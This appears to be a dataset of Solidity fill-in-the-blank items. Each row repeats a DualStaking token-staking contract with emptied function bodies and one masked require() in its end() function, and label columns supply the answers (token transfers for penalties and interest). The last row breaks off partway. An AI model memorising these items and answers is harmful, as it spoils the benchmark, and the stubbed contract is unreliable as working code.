comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
---|---|---|---|---|
null | // SPDX-License-Identifier: MIT
// Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY %
// from token to another desired token or currency from the same chain.
pragma solidity ^0.8.2;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/* This is a slight change to the EIP20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
}
}
/**
*
* Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B
*
* asset is the EIP20 token to deposit in
* asset2 is the EIP20 token to get interest in
* interest_rate: percentage earning rate of token1 based on APY (annual yield)
* interest_rate2: percentage earning rate of token2 based on APY (annual yield)
* maturity is the time in seconds after which is safe to end the stake
* penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment
* lower_amount is the minimum amount for creating the stake in tokens
*
*/
contract DualStaking is Owner, ReentrancyGuard {
// Token to deposit
EIP20 public asset;
// Token to pay interest in | (Can be the same but suggested to use Single Staking for this)
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint16 public interest_rate;
uint16 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(
EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
}
function start(uint256 _value) external nonReentrant {
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp - ledger[msg.sender][i].from < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100;
require(<FILL_ME>)
require(asset.transfer(getOwner(), _penalization));
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
require(asset.transferFrom(getOwner(), msg.sender, _interest));
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
require(asset2.transferFrom(getOwner(), msg.sender, _interest2));
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount));
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner {
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
}
function ledger_length(address _address) external view
returns (uint256) {
}
}
| asset.transfer(msg.sender,ledger[msg.sender][i].amount-_penalization) | 436,682 | asset.transfer(msg.sender,ledger[msg.sender][i].amount-_penalization) |
null | // SPDX-License-Identifier: MIT
// Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY %
// from token to another desired token or currency from the same chain.
pragma solidity ^0.8.2;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/* This is a slight change to the EIP20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
}
}
/**
*
* Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B
*
* asset is the EIP20 token to deposit in
* asset2 is the EIP20 token to get interest in
* interest_rate: percentage earning rate of token1 based on APY (annual yield)
* interest_rate2: percentage earning rate of token2 based on APY (annual yield)
* maturity is the time in seconds after which is safe to end the stake
* penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment
* lower_amount is the minimum amount for creating the stake in tokens
*
*/
contract DualStaking is Owner, ReentrancyGuard {
// Token to deposit
EIP20 public asset;
// Token to pay interest in | (Can be the same but suggested to use Single Staking for this)
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint16 public interest_rate;
uint16 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(
EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
}
function start(uint256 _value) external nonReentrant {
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp - ledger[msg.sender][i].from < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100;
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount - _penalization));
require(<FILL_ME>)
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
require(asset.transferFrom(getOwner(), msg.sender, _interest));
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
require(asset2.transferFrom(getOwner(), msg.sender, _interest2));
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount));
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner {
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
}
function ledger_length(address _address) external view
returns (uint256) {
}
}
| asset.transfer(getOwner(),_penalization) | 436,682 | asset.transfer(getOwner(),_penalization) |
null | // SPDX-License-Identifier: MIT
// Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY %
// from token to another desired token or currency from the same chain.
pragma solidity ^0.8.2;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/* This is a slight change to the EIP20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
}
}
/**
*
* Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B
*
* asset is the EIP20 token to deposit in
* asset2 is the EIP20 token to get interest in
* interest_rate: percentage earning rate of token1 based on APY (annual yield)
* interest_rate2: percentage earning rate of token2 based on APY (annual yield)
* maturity is the time in seconds after which is safe to end the stake
* penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment
* lower_amount is the minimum amount for creating the stake in tokens
*
*/
contract DualStaking is Owner, ReentrancyGuard {
// Token to deposit
EIP20 public asset;
// Token to pay interest in | (Can be the same but suggested to use Single Staking for this)
EIP20 public asset2;
// stakes history
struct Record {
uint256 from;
uint256 amount;
uint256 gain;
uint256 gain2;
uint256 penalization;
uint256 to;
bool ended;
}
// contract parameters
uint16 public interest_rate;
uint16 public interest_rate2;
uint256 public maturity;
uint8 public penalization;
uint256 public lower_amount;
// conversion ratio for token1 and token2
// 1:10 ratio will be:
// ratio1 = 1
// ratio2 = 10
uint256 public ratio1;
uint256 public ratio2;
mapping(address => Record[]) public ledger;
event StakeStart(address indexed user, uint256 value, uint256 index);
event StakeEnd(address indexed user, uint256 value, uint256 penalty, uint256 interest, uint256 index);
constructor(
EIP20 _erc20, EIP20 _erc20_2, address _owner, uint16 _rate, uint16 _rate2, uint256 _maturity,
uint8 _penalization, uint256 _lower, uint256 _ratio1, uint256 _ratio2) Owner(_owner) {
}
function start(uint256 _value) external nonReentrant {
}
function end(uint256 i) external nonReentrant {
require(i < ledger[msg.sender].length, "Invalid index");
require(ledger[msg.sender][i].ended==false, "Invalid stake");
// penalization
if(block.timestamp - ledger[msg.sender][i].from < maturity) {
uint256 _penalization = ledger[msg.sender][i].amount * penalization / 100;
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount - _penalization));
require(asset.transfer(getOwner(), _penalization));
ledger[msg.sender][i].penalization = _penalization;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, _penalization, 0, i);
// interest gained
} else {
// interest is calculated in asset2
uint256 _interest = get_gains(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest>0 && asset.allowance(getOwner(), address(this)) >= _interest && asset.balanceOf(getOwner()) >= _interest) {
require(<FILL_ME>)
} else {
_interest = 0;
}
// interest is calculated in asset2
uint256 _interest2 = get_gains2(msg.sender, i);
// check that the owner can pay interest before trying to pay, token 1
if (_interest2>0 && asset2.allowance(getOwner(), address(this)) >= _interest2 && asset2.balanceOf(getOwner()) >= _interest2) {
require(asset2.transferFrom(getOwner(), msg.sender, _interest2));
} else {
_interest2 = 0;
}
// the original asset is returned to the investor
require(asset.transfer(msg.sender, ledger[msg.sender][i].amount));
ledger[msg.sender][i].gain = _interest;
ledger[msg.sender][i].gain2 = _interest2;
ledger[msg.sender][i].to = block.timestamp;
ledger[msg.sender][i].ended = true;
emit StakeEnd(msg.sender, ledger[msg.sender][i].amount, 0, _interest, i);
}
}
function set(EIP20 _erc20, EIP20 _erc20_2, uint256 _lower, uint256 _maturity, uint16 _rate, uint16 _rate2, uint8 _penalization, uint256 _ratio1, uint256 _ratio2) external isOwner {
}
// calculate interest of the token 1 to the current date time
function get_gains(address _address, uint256 _rec_number) public view returns (uint256) {
}
// calculate interest to the current date time
function get_gains2(address _address, uint256 _rec_number) public view returns (uint256) {
}
function ledger_length(address _address) external view
returns (uint256) {
}
}
| asset.transferFrom(getOwner(),msg.sender,_interest) | 436,682 | asset.transferFrom(getOwner(),msg.sender,_interest) |
null | // SPDX-License-Identifier: MIT
// Dual Staking contract for DeFi Platform. Easy access for projects to have asset to asset staking earning interest based on APY %
// from token to another desired token or currency from the same chain.
pragma solidity ^0.8.2;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
}
/**
* @dev Set contract deployer as owner
*/
constructor(address _owner) {
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() public view returns (address) {
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and making it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
}
}
// Using consensys implementation of ERC-20, because of decimals
// Abstract contract for the full ERC 20 Token standard
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
abstract contract EIP20Interface {
/* This is a slight change to the EIP20 base standard.
function totalSupply() constant returns (uint256 supply);
is replaced with:
uint256 public totalSupply;
This automatically creates a getter function for the totalSupply.
This is moved to the base contract since public getter functions are not
currently recognised as an implementation of the matching abstract
function by the compiler.
*/
/// total amount of tokens
uint256 public totalSupply;
/// @param _owner The address from which the balance will be retrieved
/// @return balance The balance
function balanceOf(address _owner) virtual public view returns (uint256 balance);
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transfer(address _to, uint256 _value) virtual public returns (bool success);
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return success Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint256 _value) virtual public returns (bool success);
/// @notice `msg.sender` approves `_spender` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of tokens to be approved for transfer
/// @return success Whether the approval was successful or not
function approve(address _spender, uint256 _value) virtual public returns (bool success);
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return remaining Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) virtual public view returns (uint256 remaining);
// solhint-disable-next-line no-simple-event-func-name
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/*
Implements EIP20 token standard: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
*/
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
constructor(
uint256 _initialAmount,
string memory _tokenName,
uint8 _decimalUnits,
string memory _tokenSymbol
) {
}
function transfer(address _to, uint256 _value) override public returns (bool success) {
}
function transferFrom(address _from, address _to, uint256 _value) override public returns (bool success) {
}
function balanceOf(address _owner) override public view returns (uint256 balance) {
}
function approve(address _spender, uint256 _value) override public returns (bool success) {
}
function allowance(address _owner, address _spender) override public view returns (uint256 remaining) {
}
}
/**
*
* Dual Staking is an interest gain contract for ERC-20 tokens to earn revenue staking token A and earn token B
*
* asset is the EIP20 token to deposit in
* asset2 is the EIP20 token to get interest in
* interest_rate: percentage earning rate of token1 based on APY (annual yield)
* interest_rate2: percentage earning rate of token2 based on APY (annual yield)
* maturity is the time in seconds after which is safe to end the stake
* penalization is for ending a stake before maturity time of the stake taking loss quitting the commitment
* lower_amount is the minimum amount for creating the stake in tokens
*
